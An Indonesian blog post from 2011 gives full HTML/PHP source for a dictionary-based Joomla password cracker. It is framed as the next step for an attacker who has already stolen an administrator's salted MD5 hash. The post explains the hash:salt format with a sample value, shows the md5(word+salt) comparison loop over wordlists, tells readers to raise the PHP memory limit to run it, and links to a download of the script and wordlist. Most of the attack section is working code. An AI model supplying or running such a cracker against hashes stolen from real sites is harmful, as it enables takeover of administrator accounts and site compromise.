Kamis, 07 April 2011

password cracker

Konsep sederhana Joomla Password Cracker

Apa yang akan penulis jelaskan disini, begitu juga dengan apa yang telah penulis jelaskan pada tutorial sebelum-sebelumnya, mengenai hacking tentunya, di ibaratkan seperti pisau yang memiliki 2 sisi tajam, di satu sisi seorang admin web dapat menjaga ketat sitenya dengan aman, namun patut diketahui pula tidak ada sistem yang memiliki keamanan 100%, selalu saja ada bolong yang masih dapat di eksploitasi,tapi setidaknya dapat meminimalisir serangan yang ada, dan di sisi lain yang akan penulis terangkan nanti tentunya cenderung digunakan untuk kegiatan vandalisme/merusak oleh beberapa pihak. Ya, tidak heran jika teori tesis dan anti tesis kerapkali hadir dalam dunia perhackingan ini. Di satu sisi membangun tapi di sisi lain menghancurkan. Lantas yang harus di lakukan sekarang adalah, tetap waspada pada security risk yang ada, dan ketahuilah tamu tak diundang selalu menyempatkan waktunya untuk hadir memonitoring site anda, jika anda melakukan sedikit saja salah langkah akibatnya cukup fatal.
Waha… sepertinya intro tutorial harus dipisahkan sendiri dalam tutorial yang berbeda, jari penulis begitu asik menari-nari di atas tuts keyboard sampai-sampai lupa pada pokok pembahasan. :D.

Ya, berdasarkan artikel sebelumnya, betapa mudahnya seorang attacker mendapatkan username dan password sang administrator pada content management system seperti joomla, tapi masih terdapat satu masalah, dimana seorang attacker masih belum dapat melakukan eksploitasi lebih lanjut, dikarenakan password yang didapatkan itu masih dalam bentuk password yang terenkripsi, sehingga butuh perlakuan khusus lebih lanjut untuk mendapatkan password yang sesungguhnya. Di sinilah penulis akan mencoba menjelaskan sebuah konsep sederhana bagaimana mendapatkan suatu password asli yang terenkripsi, namun penulis hanya membatasi cracking password pada satu jenis hash saja, yaitu joomla hash password. Penjelasan yang akan penulis lakukan bukanlah mencoba membuat algoritma dekripsi password tetapi hanyalah penggunaan metode dictionary file, dimana untuk mendapatkan password asli cukup dilakukan pencocokan password dengan kamus data yang ada sehingga menghasilkan password yang sebenarnya. :D. Namun setiap aplikasi selalu saja memiliki kekurangan, penulis tidak menafikan hal itu. Karena kesempurnaan hanyalah milik sang Pencipta. ;) Kekurangannya adalah resource memori yang di butuhkan untuk metode seperti ini cenderung lebih besar dari ukuran biasanya.
Berikut adalah source code lengkap ‘simple joomla password cracker’ :
———————–// cut here
<HTML>
<HEAD>
<BASEFONT SIZE=3>
<TITLE>::: Joomla Password Cracker :::</TITLE>
</HEAD>
<BODY BGCOLOR=#000000 vlink=#0000FF>
<center>
<p align=”center”><font face=”Verdana” size=”1″><BR>
</B><BR>
  </font></p>
<p align=”center”> </p>
<p align=”center”> </p>
<TABLE BORDER=0 WIDTH=500 CELLPADDING=3 CELLSPACING=0>
<tr><td> <p align=”center” style=”margin-top: 0″><font color=”#FFFFFF” face=”Verdana” size=”2″><u><font size=”4″>Simple</font></u>
</font><font size=”4″><u><font face=”Verdana” color=”#00FF00″><strong>Joomla</strong></font> <font color=”#FFFFFF” face=”Verdana”>Password Cracker</font></u></font><font size=”2″><font color=”#FFFFFF” face=”Verdana”><br>
<font color=”#00FF00″>Developed by<strong> : ilmuwebsite.com </strong></font></font></font></p>
    </td>
</tr>
</table>
<!–  Demonstration –>
<BODY>
<center>
  <form action=index.php method=”POST”><p>
    <P>
<b>
<font size=”2″ face=”Verdana” color=”#FFFFFF”><u>Masukkan  </u></font></b><u><font size=”2″ face=”Verdana” color=”#FFFFFF”>password hashnya disini :</font></u><font size=”2″ face=”Verdana” color=”#FFFFFF”></font><font color=”#00FF00″ size=”1″ face=”Verdana”><br>
<BR>
<input type=”text” name=”hash” size=55 style=”font-family: Verdana; font-size: 8pt; color: #00FF00; border: 1px solid #00FF00; background-color: #000000″>
<input type=”submit” name=”send” value=”Cari !!!” style=”font-family: Verdana; font-size: 8pt; color: #00FF00; border: 1px solid #00FF00; background-color: #000000″>
</font>
<P><br>
</form>
 
<?php
$hashes=array();
$i=0;
$parts=explode(“:”,$_POST['hash']);
$hashes[$i][0]=$parts[0]; 
$hashes[$i][1]=$parts[1];
if (ISSET($_POST['hash']))
{
$str = ” “;
echo “<font size=2 face=Verdana color=#FFFFFF><u>Started: </u>”;
echo date(“F j, Y, g:i:s a”);
$lines = file(‘kamus2.txt’);
foreach ($lines as $line_num => $line)
{
check($line);
}
$lines = file(‘kamus1.txt’);
foreach ($lines as $line_num => $line)
{
check($line);
}
echo “<br><font size=2 face=Verdana color=#FFFFFF><u>Finished : </u>”;
echo date(“F j, Y, g:i:s a”);
}
function check($a)
{   
global  $i;
$a=rtrim($a) ;
for($x=0;$x<=$i;$x++)
{
global  $hashes;
if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo “<font size=2 face=Verdana color=#FFFFFF><br><br><u>The password is : </u></font><font size=2 face=Verdana color=#00FF00><h1>$a</h1></font>”;
echo “<u>Ended: </u>”;
echo date(“F j, Y, g:i:s a”);
}
}
        
}
?>
<font size=”2″ face=”Verdana” color=”#FFFFFF”><u><br><br>Tolong di kembangkan ya ?! :D </u></font>
</center>
</body></html>
———————–// cut here
Untuk menjalankan script ini di localhost anda perlu merubah konfigurasi php.ini, yaitu dengan mengganti baris ini :
memory_limit = 32M ;










menjadi > 32, penulis menggantinya menjadi :
memory_limit = 256M ;
Ya, sebelum berlanjut, penulis akan membahas struktur password joomla yang terenkripsi terlebih dahulu, enkripsi password joomla biasanya terdiri dari hash dan salt.  Standar enkripsi joomla biasanya berbentuk seperti ini :
b51498faae03f7cf533e3ed97fc00116:9VrQpQzdNQHhtieK
Hashnya itu terdapat pada bagian yang pertama yaitu b51498faae03f7cf533e3ed97fc00116, dan saltnya itu ada di bagian akhir 9VrQpQzdNQHhtieK, keduanya terlihat di pisahkan dengan titik dua “:”. Salt bagi seorang attacker berfungsi untuk membantu dalam pencarian password sesungguhnya.
Yang ditemukan disini adalah jika password berbentuk plain text di gabung dengan saltnya maka akan menghasilkan hash password joomla. Dengan kata lain jika : x + salt = hash joomla. Sehingga jika di implementasikan melalui enkripsi md5 :
md5(x + salt) = hash
maka :
md5(x + 9VrQpQzdNQHhtieK) = b51498faae03f7cf533e3ed97fc00116
berapakah x ? ( pak Mamat guru matematika di SMAN 4 Bogor kayanya tau. :D huehuehuehehe…  )
Ya seperti pada baris kalimat ini :

if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo “<font size=2 face=Verdana color=#FFFFFF><br><br><u>The password is : </u></font><font size=2 face=Verdana color=#00FF00><h1>$a</h1></font>”;

Dan hasilnya adalah …















:D~~
Penulis yakin anda cukup familiar dengan source di atasnya. Dan algoritmanya pun cukup mudah. Script lengkap dan kamus passwordnya dapat di download di sini
Selamat mencoba. Selamat mengembangkan ! :D

Tidak ada komentar:

Posting Komentar